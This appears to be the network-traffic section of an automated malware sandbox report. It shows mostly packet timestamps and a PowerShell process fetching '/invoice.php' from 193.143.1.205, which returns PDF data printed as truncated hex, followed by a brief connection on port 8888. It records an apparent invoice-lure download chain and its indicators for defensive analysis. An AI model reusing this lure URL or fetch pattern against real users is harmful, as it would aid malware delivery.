Jan 13, 2025 18:53:12.799443960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799458027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799459934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.799473047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.799479008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.799515963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.826025963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.826047897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.826064110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.826078892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.826090097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.826093912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.826101065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.826108932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.826124907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.826141119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.826150894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.826164961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.830713034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.830729008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.830744028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.830801010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.830801964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.830856085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.830878973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.830893993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.830909014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.830939054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.830971956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.859462023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.859477043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.859491110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.859527111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.859576941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.859591961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.859606981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.859622002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:12.859623909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.859652042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:12.881325006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.053950071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.053973913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.053991079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054007053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054023027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054025888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054037094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054053068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054084063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054109097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054124117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054140091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054152012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054167032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054167032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054181099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054189920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054197073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054205894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054220915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054234028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054248095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054254055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054263115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054277897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054291964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054300070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054300070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054307938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054323912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054336071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054349899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054352045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054373980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054378033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054389000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054403067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054403067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054424047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054425001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054439068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054454088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054466963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054469109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054481030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054495096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054502010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054510117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054519892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054523945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054538965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054553032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054553986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054575920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054575920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054589987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054605007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054620028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054634094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054647923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054646969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054662943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054672003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054672003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054677963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054692030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054707050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054708004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054728985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054739952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054744005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054758072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054773092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054780960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054786921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054796934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054801941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054816961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054831028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054845095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054857969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054858923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054873943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054884911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054884911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054900885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054917097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054930925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054933071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054948092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054961920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054975986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054979086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.054991007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.054999113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055006981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055021048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055022001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055037022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055049896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055052042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055068016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055082083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055083990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055097103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055110931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055124998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055124998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055145025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055147886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055164099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055177927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055180073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055202007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055217028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055229902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055238008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055238008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055243969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055263996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055267096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055294037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055309057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055325985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055344105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055358887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055372953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055377960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055388927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055396080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055404902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055418015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055433035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055447102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055448055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055466890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055470943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055489063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055499077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055501938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055526972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055540085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055551052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055562019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055566072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055581093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055594921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055602074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055614948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055629969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055644035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055645943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055658102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055666924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055680990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055704117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055717945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055732012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055736065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055746078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055757046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055762053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055774927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055777073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055792093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055805922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055820942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055826902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055826902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055835962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055850983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055865049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055879116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055880070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055893898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055908918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055917978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055917978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055924892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055938959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055953026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055967093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055977106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055977106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.055982113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.055996895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.056005955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.056010962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.056026936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.056042910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.056056976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.056061029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.056071043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.056078911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.056086063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.056094885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.056101084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.056116104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.056132078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.056133986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.056148052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.056159973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:13.056176901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.056219101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.057024002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:13.295314074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:14.106961012 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:14.112133980 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:14.112320900 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:14.113007069 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:14.117942095 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:14.919523001 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 13, 2025 18:53:14.962433100 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:15.313622952 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 13, 2025 18:53:27.798614979 CET	54795	53	192.168.2.4	1.1.1.1
Jan 13, 2025 18:53:27.803919077 CET	53	54795	1.1.1.1	192.168.2.4
Jan 13, 2025 18:53:27.804135084 CET	54795	53	192.168.2.4	1.1.1.1
Jan 13, 2025 18:53:27.809227943 CET	53	54795	1.1.1.1	192.168.2.4
Jan 13, 2025 18:53:28.290743113 CET	54795	53	192.168.2.4	1.1.1.1
Jan 13, 2025 18:53:28.296400070 CET	53	54795	1.1.1.1	192.168.2.4
Jan 13, 2025 18:53:28.296561956 CET	54795	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 18:53:26.967443943 CET	61732	53	192.168.2.4	1.1.1.1
Jan 13, 2025 18:53:27.798194885 CET	53	61740	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 18:53:26.967443943 CET	192.168.2.4	1.1.1.1	0x766a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 18:53:26.975259066 CET	1.1.1.1	192.168.2.4	0x766a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7604	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 18:53:11.426382065 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 13, 2025 18:53:12.223336935 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 17:53:12 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 13, 2025 18:53:12.223365068 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 13, 2025 18:53:12.223380089 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 13, 2025 18:53:12.223395109 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 13, 2025 18:53:12.223409891 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
